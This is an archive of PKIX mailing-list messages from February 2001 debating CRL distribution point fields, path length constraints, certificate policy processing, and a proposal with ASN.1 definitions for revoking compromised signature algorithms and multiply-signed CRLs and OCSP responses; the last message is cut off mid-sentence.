From: "Martin Lindström" <[email-masked]>
To: <[email-masked]>
Subject: cRLIssuer vs. distributionPoint
Date: Wed, 21 Feb 2001 16:51:23 +0100
Importance: Normal

I have some questions regarding how the distributionPoint and cRLIssuer
fields of the DistributionPoint/CRLDistributionPoint extension
should be interpreted.

True or false? If the distributionPoint field is present, the cRLIssuer
always specifies the issuer name of the CRL that we should try to get.

New-part1 says "If the distributionPointName is absent, cRLIssuer MUST
be present and include a Name corresponding to an X.500 or LDAP directory
entry where the CRL is located".
My understanding of this is that it should point to a location where
the CRL can be fetched, it does not say necessarily specify the CRL
issuer name. If that is correct, why not use the distributionPoint field
for this purpose?

Thanks in advance.

/Martin Lindström

From: "Bland, Graham" <[email-masked]>
To: =?iso-8859-1?Q?=27S=F6nke_Maseberg=27?= <[email-masked]>, [email-masked]
Subject: RE: multiple digitale signatures
Date: Wed, 21 Feb 2001 14:08:43 -0000

Sonke,

I think we have a fundamental philosophical disagreement.
A CA is responsible for the certificates it issues only according to the
clauses it places in its CPS.  It does not necessarily know the business
purposes to which the certificates will be put For example there is a great
difference in my use of a certificate to sign a $100 million contract
opposed to its use to secure possibly embarrassing valentines emails to my
wife.
The CA does not know, has no interest in knowing and has no responsibility
for the use to which the certificate is put.  As such it is not a competent
agency to determine if it should revoke my certificate, it may only respond
to my request for revocation.

The other problem is that I just do not believe that when prudence is used
to select established algorithms that have been subject to review and
cryptanalysis such algorithms are suddenly compromised.  However even
established algorithms will become weaker over time due if nothing else but
Moores law.
While your model works in the first case which I believe will not happen, it
does not work in the second case which I know will.

Graham Bland

-----Original Message-----
From: Sönke Maseberg [mailto:[email-masked]]
Sent: 21 February 2001 10:03
To: [email-masked]; [email-masked]
Subject: RE: multiple digitale signatures

Graham,

we are working at the problems if a signature algorithm is compromised
suddenly without any time to change the algorithm parameters, keys oder
key lengths. IMO the CA is responsible for the certificates of the CHs.
If now a failure occurs, the shocked certificates have to be revoked.
The idea is to revoke the certificates not explicitly but implicitly
through the revocation of the used signature algorithms. The benefit
would be a shorter CRL, and the benefit grows up if many CHs are
involved.

I agree that for multiple digital signatures different signature
algorithms have to be used with independent components like hash
algorithm and independent basic mathematical problems. The use of
multiple digital signatures is optional in relation to the specific
application: In authentication applications it makes less sense. But the
signatures in e.g. e-government have to be proofable for many years.

Sönke

_______________________________________________________________________

This message is confidential and is intended for the addressee only;
unless clearly stated that this disclaimer should not apply, this 
e-mail is not intended to create legally binding commitments on 
behalf of any company in the British Interactive Broadcasting 
Holdings Limited group,  nor do its contents reflect the corporate 
views or policies of any such company. Any unauthorised disclosure, 
use or dissemination, either whole or partial, is prohibited. If you 
are not the intended recipient of the message, please notify the
sender immediately.
_______________________________________________________________________

From: "Linn, John" <[email-masked]>
To: "'Steve Hanna'" <[email-masked]>
Cc: [email-masked]
Subject: RE: Open Issue in Part1: path length constraints
Date: Wed, 21 Feb 2001 08:57:05 -0500

I share Steve's caution here.  The original text corresponds to that in
X.509; in the interests of convergence between profiles, I'd recommend that
the PKIX profile avoid making a divergent change to the semantics of
pathLenConstraint unless the current semantics are unworkably defective.
This doesn't seem to be the case here. Further, revisiting the definition of
which certificates are EE vs. CA at this point in the process seems like the
sort of change that might propagate unexpected implications or
inconsistencies in other areas of certificate processing; I'm not sure that
we should take this risk unless the need is compelling.

--jl

> From: Steve Hanna [mailto:[email-masked]]
> Sent: Friday, February 16, 2001 5:24 PM
> To: David A. Cooper
> Cc: [email-masked]
> Subject: Re: Open Issue in Part1: path length constraints
> 
> 
> "David A. Cooper" wrote:
> > I believe that the problem we are currently experiencing is as a
> > result of the original text not being sufficiently clear.
> 
> I thought the original text was quite clear. But I guess not.
> 
> The original text said:
> 
>    The pathLenConstraint field is meaningful only if cA is 
> set to TRUE.
>    In this case, it gives the maximum number of CA 
> certificates that may
>    follow this certificate in a certification path. A value of zero
>    indicates that only an end-entity certificate may follow 
> in the path.
> 
> The revised text says:
> 
>    The pathLenConstraint field is meaningful only if cA is 
> set to TRUE.
>    In this case, it gives the maximum number of CA 
> certificates that may
>    follow this certificate in a certification path. (Note: One end-
>    entity certificate will follow the final CA certificate in 
> the path.
>    The last certificate in a path is considered an end-entity
>    certificate, whether the subject of the certificate is a 
> CA or not.)
>    A pathLenConstrinat of zero indicates that only an end-entity
>    certificate may follow in the path.
> 
> I find it odd to say that a certificate with cA=TRUE is a CA 
> certificate
> *unless* it is the last certificate in a path. I suppose this 
> is only a
> wording problem, but I find this wording *less* clear than the old
> wording.
> 
> I also question whether the revised semantics for 
> pathLenConstraint will
> be as easy to understand for CA operators.
> 
> Do we really need to complicate things like this to handle a case that
> you admit will be rare (a CA that uses another CA for indirect CRLs,
> combined with max_path_length of 0)?
> 
> > You seem to suggest that we are now stating that a path may be valid
> > expect for the keyCertSign key usage. However, one should never make
> > use of the keyCertSign key usage bit when it appears in the last
> > certificate in a path.
> 
> This is true. But I doubt that it's widely understood. 
> Perhaps it should
> be highlighted in the document.
> 
> > Of course, as I mentioned earlier, it is possible to achieve the
> > desired results in a PKI using either of the semantics, so the main
> > goal should be to ensure that whatever the final decision is, the
> > semantics are clearly written in the next draft of the 
> certificate and
> > CRL profile.
> 
> Agreed.
> 
> > Perhaps others, particularly those who have already implemented this
> > extension, could provide their opinions on this subject as well.
> 
> I agree with this as well. I'll be on vacation next week, but I trust
> you folks to make the right decision. If I'm alone in my concern about
> this, then we should go with rough consensus, which seems to 
> be running
> against me at the moment.
> 
> -Steve
> 

From: "Bland, Graham" <[email-masked]>
To: =?iso-8859-1?Q?=27S=F6nke_Maseberg=27?= <[email-masked]>, [email-masked]
Subject: RE: Algorithm revocation
Date: Wed, 21 Feb 2001 13:53:43 -0000

Sonke,

Comments in line:

Graham Bland

-----Original Message-----
From: Sönke Maseberg [mailto:[email-masked]]
Sent: 21 February 2001 10:02
To: [email-masked]; [email-masked]
Subject: Re: Algorithm revocation

Tom,

I would like to quote 'PKIX Roadmap - March 10, 2000'
[<draft-ietf-pkix-roadmap-05.txt>] part 3.5.6.4 Revocation

 When a PKC is issued, it is expected to be in use for its entire
 validity period. However, various circumstances may cause a PKC to
 become invalid prior to the expiration of the validity period. Such
 circumstances include change of name, change of association between
 subject and CA (e.g., an employee terminates employment with an
 organization), and compromise or suspected compromise of the
 corresponding private key. Under such circumstances, the CA needs to
 revoke the PKC.

The example you quote covers the compromise of a private key i.e. its
disclosure or suspected disclosure. I do not believe it was intended to
cover the total and sudden compromise of an algorithm where the CA
certificate is also compromised.

Under the assumption that a signature algorithm is compromised suddenly,
the CA have to revoke all of the certificates that use this algorithm.
And if the CA has a lot of CHs the CRL would be very large and not
practically to handle. So IMO 'revokeAlgorithms' would be a possibility
to revoke implicitly all shocked certificates.

It is extremely unlikely that an algorithm is suddenly compromised, a far
more likely scenario is that over time the strength of the algorithm with a
given key length is reduced.  I think all would agree that 40 bit DES is
compromised.  However I am certain that a large proportion of internet
browsers still only support 40 bit DES.  If you were responsible for the
operations of a CA would you now refuse to issue 40 bit SSL certificates?.
If so at what point in time would you have made that decision and what
criteria would you use to justify it?  

The basic rule behind a pyramided set of timestamps is good if not the
same signature algorithm for all signatures is used. Otherwise if the
signature algorithm is compromised at time you cannot proof the time of
creation of a signature.

I agree, if you require this then you must implement multiple time stamping
services and select on the basis of the signature algorithm required.

Sönke

_______________________________________________________________________

This message is confidential and is intended for the addressee only;
unless clearly stated that this disclaimer should not apply, this 
e-mail is not intended to create legally binding commitments on 
behalf of any company in the British Interactive Broadcasting 
Holdings Limited group,  nor do its contents reflect the corporate 
views or policies of any such company. Any unauthorised disclosure, 
use or dissemination, either whole or partial, is prohibited. If you 
are not the intended recipient of the message, please notify the
sender immediately.
_______________________________________________________________________

Date: Wed, 21 Feb 2001 20:11:04 +0900
From: TAKIGUCHI Naruhito <[email-masked]>
To: "David A. Cooper" <[email-masked]>
Subject: Re: certificate policies extension in RFC2459 and new-part1-04
Cc: [email-masked]

David,

Thank you very much.
I misunderstood, and could understand clearly by your reply.

"David A. Cooper" wrote:
> At 06:36 PM 2/20/01 +0900, TAKIGUCHI Naruhito wrote:
> >It seems to me that there is an inconsistency between RFC2459 and 
> >new-part1-04 about processing the certificate policies extension.
> 
> Yes, this is true. Sometime in 1999, after RFC 2459 was completed, defects were discovered in the certificate policy processing semantics of X.509. As a result, a defect report was issued against X.509. The text that appears in new-part1-04 reflects the resolution to that defect report (similar changes were also made to X.509 to reflect the resolution to the defect report).
> 
> >In RFC2459, if the certificate policies extension is marked as non-critical, it is not processed. 
> >But in new-part1-04, the certificate policies extension is processed regardless of its critical flag.
> 
> This is not exactly true, but it was the case that previously the certificate policies extension was processed differently when it was critical from when it was non-critical. The rules now state that the extension is processed in the same way whether it is critical or non-critical.
> 
> >For example, consider there is a certificate path as shown below, 
> >and the acceptable policy set is (A). In RFC2459, this path's validation
> >processing will succeed. But in new-part1-04, this path's validation
> >processing will fail.
> 
> Not necessarily. If the require-explicit-policy flag is not set, then a certification path will never fail as a result of certificate policies. On the other hand, if the require-explicit-policy flag is set, then the path below would fail.
> 
> >     +------------------------+
> >     | root CA cert           |
> >     |                        |
> >     | critical policy(A)     |
> >     +------------------------+
> >                 |
> >     +------------------------+
> >     | end entity cert        |
> >     |                        |
> >     | non-critical policy(B) |
> >     +------------------------+
> >
> >And, new-part1-04 requires that certificate must have a certificate policies extension.
> >For example, a following certificate path will succeed in RFC2459, but will fail in new-part1-04.
> 
> Again, this is only true is the require-explicit-policy flag is set. However, under the rules in RFC 2459, a path would also fail if the require-explicit-policy flag were set and a subsequent certificate did not include the certificate policies extension.
> 
> >     +------------------------+
> >     | root CA cert           |
> >     |                        |
> >     | critical policy(A)     |
> >     +------------------------+
> >                 |
> >     +------------------------+
> >     | end entity cert        |
> >     |                        |
> >     |      (no policy)       |
> >     +------------------------+
> >
> >Thus, new-part1-04 doesn't have compatibility with a certificate which was issued based on RFC2459?
> >How do you think these compatibility between RFC2459 and new-part1-04?
> 
> While there may be some problems that occur if certificates are issued based on one set of semantics and processed under the other set of semantics, the problems are not as substantial as you seem to think.
> 
> The main point, however, is that the certificate policies semantics as described in RFC 2459 were found to be broken nearly 2 years ago and they needed to be fixed. The text in new-part1-04 reflects the fix that was agreed to in late 1999.
> 
> Dave
> 

-----
Takiguchi Naruhito
FUJITSU HOKURIKU SYSTEMS LTD.

Date: Wed, 21 Feb 2001 11:03:21 +0100
From: =?iso-8859-1?Q?S=F6nke?= Maseberg <[email-masked]>
To: [email-masked], [email-masked]
Subject: RE: multiple digitale signatures

Graham,

we are working at the problems if a signature algorithm is compromised
suddenly without any time to change the algorithm parameters, keys oder
key lengths. IMO the CA is responsible for the certificates of the CHs.
If now a failure occurs, the shocked certificates have to be revoked.
The idea is to revoke the certificates not explicitly but implicitly
through the revocation of the used signature algorithms. The benefit
would be a shorter CRL, and the benefit grows up if many CHs are
involved.

I agree that for multiple digital signatures different signature
algorithms have to be used with independent components like hash
algorithm and independent basic mathematical problems. The use of
multiple digital signatures is optional in relation to the specific
application: In authentication applications it makes less sense. But the
signatures in e.g. e-government have to be proofable for many years.

Sönke

Date: Wed, 21 Feb 2001 11:02:14 +0100
From: =?iso-8859-1?Q?S=F6nke?= Maseberg <[email-masked]>
To: [email-masked], [email-masked]
Subject: Re: Algorithm revocation

Tom,

I would like to quote 'PKIX Roadmap - March 10, 2000'
[<draft-ietf-pkix-roadmap-05.txt>] part 3.5.6.4 Revocation

 When a PKC is issued, it is expected to be in use for its entire
 validity period. However, various circumstances may cause a PKC to
 become invalid prior to the expiration of the validity period. Such
 circumstances include change of name, change of association between
 subject and CA (e.g., an employee terminates employment with an
 organization), and compromise or suspected compromise of the
 corresponding private key. Under such circumstances, the CA needs to
 revoke the PKC.

Under the assumption that a signature algorithm is compromised suddenly,
the CA have to revoke all of the certificates that use this algorithm.
And if the CA has a lot of CHs the CRL would be very large and not
practically to handle. So IMO 'revokeAlgorithms' would be a possibility
to revoke implicitly all shocked certificates.

The basic rule behind a pyramided set of timestamps is good if not the
same signature algorithm for all signatures is used. Otherwise if the
signature algorithm is compromised at time you cannot proof the time of
creation of a signature.

Sönke

Date: Wed, 21 Feb 2001 11:00:38 +0100
From: =?iso-8859-1?Q?S=F6nke?= Maseberg <[email-masked]>
To: Stephen Kent <[email-masked]>
CC: [email-masked]
Subject: Re: Algorithm revocation

Steve,

I would like to quote 'PKIX Roadmap- March 10, 2000'
[<draft-ietf-pkix-roadmap-05.txt>], part 3.5.6.2. Key Compromise

 In the case of a key compromise, the transition will not be
 "graceful" in that there will be an unplanned switch of PKCs and
 keys; users will not have known in advance what was about to happen.
 Still, the PKI must support the ability to declare that the previous
 PKC is now invalid and shall not be used, and to announce the
 validity and availability of the new PKC.

 Note: compromise of a private key associated with a Root CA is
 catastrophic for users relying on that Root CA. If a Root CA's
 private key is compromised, that CA's PKC must be revoked and all
 PKCs subordinate to it must also be revoked. Until such time as the
 Root CA has been issued a new PKC and the Root CA issues PKCs to
 users relying upon it, users relying on that Root CA are cut off
 from the rest of the system, as there is no way to develop a valid
 certification path back to a trusted node.

 Further, users will likely have to be notified by out-of-band
 mechanisms about the change in CA keys. [...]

To avoid these out-of-band mechanisms IMO multiply-signed CRLs or OCSP
responses are necessary.

Sönke

Stephen Kent schrieb:

> Soenke,
>
> While I am sympathetic to the concern that motivated the suggestion
> of revoking an algorithm, I think the list discussion has pointed out
> pitfalls with the proposed approach. Fundamentally, a decision to
> accept or reject use of algorithm is more an RP issue that a CA
> revocation issue.  I am less sympathetic to the proposed dual
> signature proposal for PKI data structures, including your specific
> OCSP example. Use of multiple signatures are appropriate in some
> application contexts, but have been explored and rejected in X.509
> infrastructure data elements, e.g., certs & CRLs, long ago.
>
> Steve

Date: Tue, 20 Feb 2001 18:33:36 -0500
To: Soenke Maseberg <[email-masked]>
From: Stephen Kent <[email-masked]>
Subject: Re: Algorithm revocation
Cc: [email-masked]

Soenke,

While I am sympathetic to the concern that motivated the suggestion 
of revoking an algorithm, I think the list discussion has pointed out 
pitfalls with the proposed approach. Fundamentally, a decision to 
accept or reject use of algorithm is more an RP issue that a CA 
revocation issue.  I am less sympathetic to the proposed dual 
signature proposal for PKI data structures, including your specific 
OCSP example. Use of multiple signatures are appropriate in some 
application contexts, but have been explored and rejected in X.509 
infrastructure data elements, e.g., certs & CRLs, long ago.

Steve

Date: Tue, 20 Feb 2001 11:38:19 -0500
From: "Lawrence Gross" <[email-masked]>
To: <[email-masked]>
Subject:  unsubscribe

unsubscribe

Date: Tue, 20 Feb 2001 10:58:05 -0500
To: [email-masked]
From: "David A. Cooper" <[email-masked]>
Subject: Re: certificate policies extension in RFC2459 and new-part1-04

At 06:36 PM 2/20/01 +0900, TAKIGUCHI Naruhito wrote:
>It seems to me that there is an inconsistency between RFC2459 and 
>new-part1-04 about processing the certificate policies extension.

Yes, this is true. Sometime in 1999, after RFC 2459 was completed, defects were discovered in the certificate policy processing semantics of X.509. As a result, a defect report was issued against X.509. The text that appears in new-part1-04 reflects the resolution to that defect report (similar changes were also made to X.509 to reflect the resolution to the defect report).

>In RFC2459, if the certificate policies extension is marked as non-critical, it is not processed. 
>But in new-part1-04, the certificate policies extension is processed regardless of its critical flag.

This is not exactly true, but it was the case that previously the certificate policies extension was processed differently when it was critical from when it was non-critical. The rules now state that the extension is processed in the same way whether it is critical or non-critical.

>For example, consider there is a certificate path as shown below, 
>and the acceptable policy set is (A). In RFC2459, this path's validation
>processing will succeed. But in new-part1-04, this path's validation
>processing will fail.

Not necessarily. If the require-explicit-policy flag is not set, then a certification path will never fail as a result of certificate policies. On the other hand, if the require-explicit-policy flag is set, then the path below would fail.

>     +------------------------+
>     | root CA cert           |
>     |                        |
>     | critical policy(A)     |
>     +------------------------+
>                 |
>     +------------------------+
>     | end entity cert        |
>     |                        |
>     | non-critical policy(B) |
>     +------------------------+
>
>And, new-part1-04 requires that certificate must have a certificate policies extension.
>For example, a following certificate path will succeed in RFC2459, but will fail in new-part1-04.

Again, this is only true is the require-explicit-policy flag is set. However, under the rules in RFC 2459, a path would also fail if the require-explicit-policy flag were set and a subsequent certificate did not include the certificate policies extension.

>     +------------------------+
>     | root CA cert           |
>     |                        |
>     | critical policy(A)     |
>     +------------------------+
>                 |
>     +------------------------+
>     | end entity cert        |
>     |                        |
>     |      (no policy)       |
>     +------------------------+
>
>Thus, new-part1-04 doesn't have compatibility with a certificate which was issued based on RFC2459?
>How do you think these compatibility between RFC2459 and new-part1-04?

While there may be some problems that occur if certificates are issued based on one set of semantics and processed under the other set of semantics, the problems are not as substantial as you seem to think.

The main point, however, is that the certificate policies semantics as described in RFC 2459 were found to be broken nearly 2 years ago and they needed to be fixed. The text in new-part1-04 reflects the fix that was agreed to in late 1999.

Dave

Importance: Normal
Subject: Re: Algorithm revocation
To: Soenke Maseberg <[email-masked]>
Cc: [email-masked]
From: "Tom Gindin" <[email-masked]>
Date: Tue, 20 Feb 2001 10:53:04 -0500

     There are two reasons IMO why "revokedAlgorithms" does not belong in
the base CRL structure.  First, a CA is not authoritative for the
revocation status of an algorithm or key length in the way in which it is
authoritative for the revocation of certificates it issued; two CA's can
easily disagree about whether RSA-768 is usable for digital signatures and
it is up to the RP software to decide which to trust.  I myself would make
a "revokedAlgorithms" extension non-critical, since its main effect would
be to issue warnings to distributed RP's that "your trusted server thinks
that you should stop trusting keys like these, in case you hadn't heard".
Second, as a practical matter, adding an extension will not break existing
software in the way that adding a new field to the base structure will.
     It is true that timestamps using a compromised algorithm are
themselves compromised.  However, the basic rule behind a pyramided set of
timestamps is that if there is no time T at which ALL of the keys used for
signatures in the set with timestamps before T had been compromised, then
the set has not been compromised.  Since the compromise of an algorithm is
a public event, it is much easier to support a statement that "no
compromise occurred before time T1" for an algorithm compromise than for an
individual key compromise.
     I don't really want to get into multiply-signed CRL's.  It makes
better sense IMHO for the CA to generate the same TBSCertList, sign it with
each of the multiple keys, and publish them under the same attribute.  This
would be more efficient over the network if the client used the internal
value filtering that you may have seen discussed last month on this list
(especially in the messages entitled "Certificate Matching"), and in
draft-legg-ldapext-component-matching-00.txt.

          Tom Gindin

Soenke Maseberg <[email-masked]>@mailserver1.hrz.tu-darmstadt.de
on 02/20/2001 08:36:26 AM

Sent by:  [email-masked]

To:   Tom Gindin/Watson/IBM@IBMUS, [email-masked]
cc:
Subject:  Re: Algorithm revocation

Hi.

Tom Gindin wrote:

>     I don't see the point of having entry extensions inside
> revokedAlgorithms, nor do I see any need to extend the base CRL structure
> for them.  The criticality of this extension as a whole is a matter of
> opinion.

minimumSafeKeyBits is a good idea. But I think, revokedAlgorithms is at the
same level as revokedCertificates.
What about the following extensions of Certificate and CRL Profile)
[<draft-ietf-pkix-new-part1-04.txt>]?

  CertificateList  ::=  SEQUENCE  {
      tbsCertList            TBSCertList,
      signatureAlgorithm     AlgorithmIdentifier,
      signatureValue         BIT STRING,
      additionalsignatures   SEQUENCE OF SEQUENCE {           --EXTENSION
         signatureAlgorithm     AlgorithmIdentifier,
         signatureValue         BIT STRING
         }  OPTIONAL
      }

  TBSCertList  ::=  SEQUENCE  {
      version                Version OPTIONAL,
      signature              SEQUENCE OF AlgorithmIdentifier,  --
EXTENSION
      issuer                 Name,
      thisUpdate             Time,
      nextUpdate             Time OPTIONAL,
      revokedCertificates    SEQUENCE OF SEQUENCE  {
         userCertificate        CertificateSerialNumber,
         revocationDate         Time,
         crlEntryExtensions     Extensions OPTIONAL
         }  OPTIONAL,
      crlExtensions          [0]  EXPLICIT Extensions OPTIONAL,
      revokedAlgorithms      [1]  SEQUENCE OF CompromisedAlgorithm
OPTIONAL      -- EXTENSION
      }

   CompromisedAlgorithm ::= SEQUENCE {
      signatureAlgorithm      AlgorithmIdentifier,
      minimumSafeKeyBits      INTEGER DEFAULT 1000000000,  -- or any very
large number
                           -- would a combination of { KeyUsage flag, Size
}
be more useful?
      revocationDate          Time,
      explanatoryText         UTF8String OPTIONAL
      }

> However, signed timestamp pyramiding ought to protect against later
> compromises of algorithms which are not believed to be questionable at
the
> time of the OCSP check.

The problem of timestamps occurs if they uses the compromised signature
algorithm too.

Regards,
Sönke

---

Sönke Maseberg
Dipl.-Math.

GMD - Institut für Sichere Telekooperation
Rheinstr. 75, D-64295 Darmstadt
Tel: 06151/869-60036, Fax: 06151/869-224

Technische Universität Darmstadt
Institut fuer Theoretische Informatik
Lehrstuhl Prof. J. Buchmann
Alexanderstr. 10, D-64283 Darmstadt

From: "Bland, Graham" <[email-masked]>
To: =?iso-8859-1?Q?=27S=F6nke_Maseberg=27?= <[email-masked]>, pkix <[email-masked]>
Subject: RE: multiple digitale signatures
Date: Tue, 20 Feb 2001 14:53:39 -0000

Sonke,

Firstly Revocation of algorithms by CAs.

Whenever have seen a compromise of a mainstream algorithm it has never been
a yes/no case, they have been weakened over time. The strength of an
algorithm is only relevant in conjunction with the value and duration of the
service or information it protects.

Where a CA is using algorithms for its own purposes such as signing
certificates or CRLs then it is within the CAs scope to modify the algorithm
strength or the algorithm used for any signature it creates, the same
flexibility applies to any creator of a signature such as an OCSP responder.
The signature is valid at the time it was created.

Where anybody has issued certificates or signed responses it is outside
their scope to revoke certificates which use those algorithms.

An example would be Verisign arbitrarily revoking all 40 bit SSL
certificates on the grounds they are insecure, imagine the chaos which this
would cause.

Also what should the behaviour be where in validating a certificate chain
one CA has revoked an algorithm but other CAs have not. Assuming the CA
hierarchy is A(root) B and C, if B as the second tier revokes RSA but uses
DSA signatures on its certificates whereas A and C use RSA but have not
revoked it what should happen? Should the non revocation by the root CA be
binding on the chain or is a single revocation binding on all CAs even if
they do not agree.  If I have multiple trust points and CAx has revoked an
algorithm is this binding on a path which does not include CAx?

An attack was reported on RSA in the last couple of weeks before it was
realised that this attack was slower than existing methods of factoring.
Should CAs have revoked RSA on the report of an attack and then reinstated
it or ignored it until it had been substantiated. I shudder to think of the
legal implications in the real world of either action.
 
IMHO this is complexity which is unworkable in practice.
 
Secondly multiple digital signatures

As far as I can see the scheme you propose only has historical value, as at
the time the signature was created it presumably was trusted by the creator.
If it is not trusted by the recipient then the option exists to reject it.

To take this to its logical conclusion and to be useful there would have to
be a set of rules create to ensure that the signatures had different
characteristics such as different hash algorithms, no two signatures based
on the same mathematical problem (Factorisation, discreet logarithms etc) as
these could become 'simple' problems at some time in the future. etc. etc.

Again this I believe is unworkable in practice due to the overheads it would
cause and would have little value in practice, as such it should not be
applied in the standards.

Graham Bland

-----Original Message-----
From: Sönke Maseberg [mailto:[email-masked]]
Sent: 19 February 2001 21:28
To: pkix
Subject: multiple digitale signatures

Hello,

we are working at the problem, that it couldn't be excluded that one
component of a public key infrastructure can be compromised, since no
proofable secure signature algorithm or hash function exists. 

For example nowadays the hash functions SHA-1 or RIPEMD-160 and the
signature algorithms RSA with 1024 bit or ECDSA with 160 bit keylength
are qualified for cryptographic purposes. The public key cryptograpy is
based on mathematical problems which are supposed to be hard to solve,
but it is not known for sure. If a failure occurs the security of the
PKI could not be guaranteed any longer as a whole, this means the
electronic communication may be insecure.

That is the reason why we develop a public key infrastructure which will
keep its functionality in the case of failure and which is able to be
repaired and where generated digital signatures won't lose their
proofability.

As a basic restriction the technical components must be integrated in
the PKI in such a flexible manner, that an exchange could be possible.
The flexible public key infrastructure which is developed at the chair
of Professor Buchmann of the Technical University of Darmstadt/Germany
in the "FlexiPKI" project is following this philosophy. 

The main idea is to build up a public key infrastructure upon several
independent cryptographic components, where in the case, one component
is compromised the other components still can be used to:
- Exchange the compromised component securely
- Sign electronic documents multiple (concept of multiple digital
signatures)

To support standards of PKIX, we ask for some discussions about our
ideas and extensions:

1. multiple digital signatures

We want to use multiple digital signatures, that are digital signatures
generated of independent signature algorithms, for example RSA with
SHA-1 and ECDSA with RIPEMD-160. PKCS#7 supports those signatures. But
we would  like to extend OCSP responses [RFC 2560] and CRLs (Certificate
and CRL Profile) [<draft-ietf-pkix-new-part1-04.txt>] with multiple
digital signatures in the following manner:

OCSP response:

   BasicOCSPResponse  ::=  SEQUENCE {
      tbsResponseData       ResponseData,
      signatureAlgorithm    AlgorithmIdentifier,
      signature             BIT STRING,
      certs                 [0]  EXPLICIT SEQUENCE OF Certificate
OPTIONAL,
      additionalsignatures  [1]  SEQUENCE OF SEQUENCE {        --
EXTENSION              
           signatureAlgorithm         AlgorithmIdentifier,
           signature                  BIT STRING } 
           }  OPTIONAL
      }

CRL:

   CertificateList  ::=  SEQUENCE  {
      tbsCertList            TBSCertList,
      signatureAlgorithm     AlgorithmIdentifier,
      signatureValue         BIT STRING, 
      additionalsignatures   SEQUENCE OF SEQUENCE {           --
EXTENSION
         signatureAlgorithm     AlgorithmIdentifier,
         signatureValue         BIT STRING 
         }  OPTIONAL
      }

2. revoked algorithms

If a signature algorithms is compromised, all certificates have to be
revoked. But the number of those certificates can be very large, so we
would like to revoke an algorithm. For this reason we propose the
following extension of CRL (Certificate and CRL Profile)
[<draft-ietf-pkix-new-part1-04.txt>]:
 
   TBSCertList  ::=  SEQUENCE  {
      version                Version OPTIONAL,
      signature              SEQUENCE OF AlgorithmIdentifier,  --
EXTENSION
      issuer                 Name,
      thisUpdate             Time,
      nextUpdate             Time OPTIONAL,
      revokedCertificates    SEQUENCE OF SEQUENCE  {
         userCertificate        CertificateSerialNumber,
         revocationDate         Time,
         crlEntryExtensions     Extensions OPTIONAL
         }  OPTIONAL,
      crlExtensions          [0]  EXPLICIT Extensions OPTIONAL, 
      revokedAlgorithms      [1]  SEQUENCE OF SEQUENCE {       --
EXTENSION
         signatureAlgorithm          AlgorithmIdentifier,
         revocationDate              Time,
         crlEntryExtensions          Extensions OPTIONAL 
         }  OPTIONAL
      }

What do you think about it? 

Thanks in advance,
Sönke

---

Sönke Maseberg       GMD - Institut für Sichere Telekooperation
Dipl.-Math.          Rheinstr. 75, D-64295 Darmstadt
                     Tel: 06151/869-60036, Fax: 06151/869-224

                     Technische Universität Darmstadt
                     Institut fuer Theoretische Informatik
                     Lehrstuhl Prof. J. Buchmann
                     Alexanderstr. 10, D-64283 Darmstadt
_______________________________________________________________________

This message is confidential and is intended for the addressee only;
unless clearly stated that this disclaimer should not apply, this 
e-mail is not intended to create legally binding commitments on 
behalf of any company in the British Interactive Broadcasting 
Holdings Limited group,  nor do its contents reflect the corporate 
views or policies of any such company. Any unauthorised disclosure, 
use or dissemination, either whole or partial, is prohibited. If you 
are not the intended recipient of the message, please notify the
sender immediately.
_______________________________________________________________________

Sender: [email-masked]
Date: Tue, 20 Feb 2001 14:36:26 +0100
From: Soenke Maseberg <[email-masked]>
To: Tom Gindin <[email-masked]>, [email-masked]
Subject: Re: Algorithm revocation

Hi.

Tom Gindin wrote:

>     I don't see the point of having entry extensions inside
> revokedAlgorithms, nor do I see any need to extend the base CRL structure
> for them.  The criticality of this extension as a whole is a matter of
> opinion.

minimumSafeKeyBits is a good idea. But I think, revokedAlgorithms is at the
same level as revokedCertificates.
What about the following extensions of Certificate and CRL Profile)
[<draft-ietf-pkix-new-part1-04.txt>]?

  CertificateList  ::=  SEQUENCE  {
      tbsCertList            TBSCertList,
      signatureAlgorithm     AlgorithmIdentifier,
      signatureValue         BIT STRING,
      additionalsignatures   SEQUENCE OF SEQUENCE {           --EXTENSION
         signatureAlgorithm     AlgorithmIdentifier,
         signatureValue         BIT STRING
         }  OPTIONAL
      }

  TBSCertList  ::=  SEQUENCE  {
      version                Version OPTIONAL,
      signature              SEQUENCE OF AlgorithmIdentifier,  --  EXTENSION
      issuer                 Name,
      thisUpdate             Time,
      nextUpdate             Time OPTIONAL,
      revokedCertificates    SEQUENCE OF SEQUENCE  {
         userCertificate        CertificateSerialNumber,
         revocationDate         Time,
         crlEntryExtensions     Extensions OPTIONAL
         }  OPTIONAL,
      crlExtensions          [0]  EXPLICIT Extensions OPTIONAL,
      revokedAlgorithms      [1]  SEQUENCE OF CompromisedAlgorithm
OPTIONAL      -- EXTENSION
      }

   CompromisedAlgorithm ::= SEQUENCE {
      signatureAlgorithm      AlgorithmIdentifier,
      minimumSafeKeyBits      INTEGER DEFAULT 1000000000,  -- or any very
large number
                           -- would a combination of { KeyUsage flag, Size }
be more useful?
      revocationDate          Time,
      explanatoryText         UTF8String OPTIONAL
      }

> However, signed timestamp pyramiding ought to protect against later
> compromises of algorithms which are not believed to be questionable at the
> time of the OCSP check.

The problem of timestamps occurs if they uses the compromised signature
algorithm too.

Regards,
Sönke

---

Sönke Maseberg
Dipl.-Math.

GMD - Institut für Sichere Telekooperation
Rheinstr. 75, D-64295 Darmstadt
Tel: 06151/869-60036, Fax: 06151/869-224

Technische Universität Darmstadt
Institut fuer Theoretische Informatik
Lehrstuhl Prof. J. Buchmann
Alexanderstr. 10, D-64283 Darmstadt

Sender: [email-masked]
Date: Tue, 20 Feb 2001 13:53:22 +0100
From: Soenke Maseberg <[email-masked]>
To: Juergen Brauckmann <[email-masked]>
CC: pkix <[email-masked]>
Subject: Re: multiple digitale signatures

Hi Juergen.

Juergen Brauckmann wrote:

> Why do you want to do that? If a client has an old OCSP response with an
> expired algorithm, then the client could simply request a new OCSP
> response.

How do the CA (certification authority) informs the CHs (certificate holder)
about a compromised signature algorithm or key?

I think the CA should use CRLs, where CRLs are multiple signed. Because
otherwise the information about a compromised algorithm or key could be
forged. Moreover a CH don't know, when such a case occurs, so that the CRL
should have multiple digital signatures ever. A CH can decide which of them
he proofs. All under the assumption that the possibility of occurence of
failures for all used signature algorithms at the same time is very small.
The used signature algorithms in the PKI have to be independent from each
other.

Analogous a OCSP reponse have to be multiple signed.

> If the old OCSP response is that important that you must reuse it, then
> you may use timestamps.

The problem of timestamps occurs if they uses the compromised signature
algorithm too.

> I think it would be a big performance burden on the OCSP responder if it
> would be forced to sign the response multiple times.

Performance is a big theme: But I think it is feasible. For example: today
